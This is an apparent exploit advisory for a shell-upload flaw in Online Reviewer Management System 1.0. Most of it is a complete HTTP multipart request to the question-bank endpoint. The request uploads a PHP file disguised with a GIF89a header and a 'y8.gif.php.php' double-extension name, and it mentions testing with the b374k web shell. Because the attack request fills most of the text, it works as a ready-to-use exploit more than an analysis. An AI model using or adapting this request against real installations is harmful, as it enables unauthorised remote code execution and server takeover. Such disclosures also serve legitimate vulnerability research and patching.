Online Reviewer Management System version 1.0 suffers from a remote shell upload vulnerability.
9d3b419524c9b1d3f62ecd6becf032ba
# Exploit Title: Online Reviewer Management System Shell Upload
# Exploit Author: th3d1gger
# Vendor Homepage: https://sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/reviewer_0.zip
# Version: 1.0
# Tested on Windows 10
@attack request
POST /admins/assessments/databank/btn_functions.php?action=add HTTP/1.1
Host: reviewmngmnt.olly
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------28762627066859903521570508233
Content-Length: 1574
Origin: http://reviewmngmnt.olly
Connection: close
Referer: http://reviewmngmnt.olly/admins/assessments/databank/index.php
Cookie: PHPSESSID=3he3in87240vbdqshdfu75b7qi
Upgrade-Insecure-Requests: 1
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="difficulty_id"
1
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="test_desc"
Agriculture
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="test_subject"
Animal Science
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="description"
y8
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="option_a"
y8
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="option_b"
y8
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="option_c"
y8
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="option_d"
y8
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="answer"
A
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="personImage"; filename="y8.gif.php.php"
Content-Type: application/octet-stream
GIF89a;
<?php
tested with b374k.php
?>
-----------------------------28762627066859903521570508233
Content-Disposition: form-data; name="btnAddQuestion"
Save
-----------------------------28762627066859903521570508233--